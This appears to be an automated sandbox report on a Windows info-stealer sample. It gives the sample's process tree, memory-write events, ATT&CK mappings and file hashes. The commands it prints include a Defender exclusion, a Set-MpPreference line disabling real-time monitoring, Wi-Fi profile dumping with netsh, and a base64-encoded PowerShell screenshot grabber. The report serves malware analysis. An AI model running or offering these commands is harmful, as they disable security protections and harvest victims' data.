description pid Process procid_target PID 4788 wrote to memory of 4768 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 87 PID 4788 wrote to memory of 4768 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 87 PID 4788 wrote to memory of 4140 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 88 PID 4788 wrote to memory of 4140 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 88 PID 4788 wrote to memory of 4772 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 89 PID 4788 wrote to memory of 4772 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 89 PID 4788 wrote to memory of 4120 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 94 PID 4788 wrote to memory of 4120 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 94 PID 4788 wrote to memory of 3188 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 95 PID 4788 wrote to memory of 3188 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 95 PID 4788 wrote to memory of 1596 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 96 PID 4788 wrote to memory of 1596 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 96 PID 4788 wrote to memory of 5000 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 97 PID 4788 wrote to memory of 5000 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 97 PID 4788 wrote to memory of 4656 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 98 PID 4788 wrote to memory of 4656 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 98 PID 4788 wrote to memory of 1204 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 99 PID 4788 wrote to memory of 1204 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 99 PID 4788 wrote to memory of 3600 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 100 PID 4788 wrote to memory of 3600 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 100 PID 4788 wrote to memory of 452 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 101 PID 4788 wrote to memory of 452 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 101 PID 4788 wrote to memory of 3272 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 102 PID 4788 wrote to memory of 3272 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 102 PID 4788 wrote to memory of 1536 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 103 PID 4788 wrote to memory of 1536 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 103 PID 4788 wrote to memory of 1480 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 104 PID 4788 wrote to memory of 1480 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 104 PID 1480 wrote to memory of 2120 1480 powershell.exe 105 PID 1480 wrote to memory of 2120 1480 powershell.exe 105 PID 2120 wrote to memory of 4024 2120 csc.exe 106 PID 2120 wrote to memory of 4024 2120 csc.exe 106 -
Views/modifies file attributes 1 TTPs 4 IoCs
pid Process 4768 attrib.exe 4140 attrib.exe 452 attrib.exe 3272 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe"C:\Users\Admin\AppData\Local\Temp\2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe"1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4788 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Temp\2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe2⤵
- Views/modifies file attributes
PID:4768
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe2⤵
- Views/modifies file attributes
PID:4140
-
-
C:\Windows\System32\Wbem\wmic.exewmic csproduct get UUID2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4772
-
-
C:\Windows\System32\Wbem\wmic.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:4120
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3188
-
-
C:\Windows\System32\Wbem\wmic.exewmic os get Caption2⤵PID:1596
-
-
C:\Windows\System32\Wbem\wmic.exewmic cpu get Name2⤵PID:5000
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4656
-
-
C:\Windows\System32\Wbem\wmic.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
PID:1204
-
-
C:\Windows\System32\Wbem\wmic.exewmic csproduct get UUID2⤵PID:3600
-
-
C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:452
-
-
C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:3272
-
-
C:\Windows\system32\netsh.exenetsh wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:1536
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=2⤵
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\22bpgwlx\22bpgwlx.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8C04.tmp" "c:\Users\Admin\AppData\Local\Temp\22bpgwlx\CSC7FFF8CE1C4BB43CAA297FC9219A2AA33.TMP"4⤵PID:4024
-
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
Filesize
944B
MD50256bd284691ed0fc502ef3c8a7e58dc
SHA1dcdf69dc8ca8bf068f65d20ef1563bbe283e2413
SHA256e2fb83098e114084f51ed7187334f861ce670051046c39f338928296ca9a49cf
SHA512c5b29c1e0a15ddb68b0579848066774fa7cdc6f35087bbbf47c05a5c0dcc1eb3e61b2ddadfbded8c1ed9820e637596a9f08a97db8fb18000d168e6b159060c42
-
Filesize
4KB
MD5f2e5db7978c6475eb746982156b1e12f
SHA17fabf3cd3fbf43b704a1c75079654c26102c5341
SHA256918bc03865f61d3b567518b66ca4111e2e035530c3c503fa54523d1babb56cdb
SHA51202dd996e14f30ff4984c651ea592fd904e9af4b50f432876ac80276b555a955a4befcd4e49c408055da418f8b41c1135ce4551479e94d82611cd65c8e7730ac0
-
Filesize
1KB
MD5e0284b61745482cadb4861571d478be1
SHA1c1bfc6a96c149c866e13b62a633f7c7a0cfb2669
SHA256d4b3707d8a1abd92e71a08575c45d4757540e9591476922f890b2d6bdbbe8e1b
SHA512e9b234108569d2d6b96dbdb1e9d1b750108c8de5fef35624726406e8a1dc0d634c9599f4495aff111796dd6b09ed1856fb1bf30e026fc65ea61a1b7e87b3acf5
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
418KB
MD5932c1650344da5e1b848668d5baf6cee
SHA1d11578f35e4428630163eb59cbf2ff8da055421e
SHA256c00dcd248115d05823ad9610a8479c7c235d2345085c210d9d5286924bd25a77
SHA5126a4933071f9157e819d5564cf0588a91b7ad58bf6fd89b08aa21e13ed360d5f1590a6a9257ff4b864dde20485bb6429b4c1ecfe45e54871a8a00d09243360ab1
-
Filesize
9.9MB
MD5dfbee94bf50c02ac6a0af22db1080c4d
SHA177628f0f12a46c23969a7ae27a54d46d9c69e406
SHA25612b3fbd52032a35122f10e38bf713b3b9ce4257820e83ae69ce345b4a6b52f67
SHA512f5c1f94977ca1aac0c446b2ce26d03295af01db3566965885f9cf17baf169bb87f651967656473f7e4d4ac572a848c9dc8f7fff087304b8f855fa3c3aaaa2d1b
-
Filesize
2KB
MD56e2386469072b80f18d5722d07afdc0b
SHA1032d13e364833d7276fcab8a5b2759e79182880f
SHA256ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
SHA512e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
-
Filesize
1004B
MD5c76055a0388b713a1eabe16130684dc3
SHA1ee11e84cf41d8a43340f7102e17660072906c402
SHA2568a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA51222d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
-
Filesize
607B
MD58e0c7f7a05e65067e7b8181bcca9aabd
SHA15723dca399367bf30ca85a09b204455dfa810767
SHA2569003ca3d9b4e95568969c12efe041527f67c82d6a4b0ec6cae01201e23bf93ef
SHA512f4c4203a997def3575d86c3b4b34631877e14b87a883d5f3707d11f8382f5c04d1c6fc565694559657c68462f33ed7945e180d3d57ba42455329052fcad2e931
-
Filesize
652B
MD5caf49cd7839bb8710393f95654360cad
SHA14c1f97da2509c513fb8190431507a2861439049d
SHA256baf0335e8b9a077512171b4ef9b8173bec27227de5b737e29eadedfbe3211971
SHA51265babb9ba1897cb6400bd5774a35fd0b7cf1913ca0f02c4f9bbc1ccdf8b4ae0a635b91d3c3548128e13d15e4b40bfc988f93b7ec3d1005cc0a424569422c7370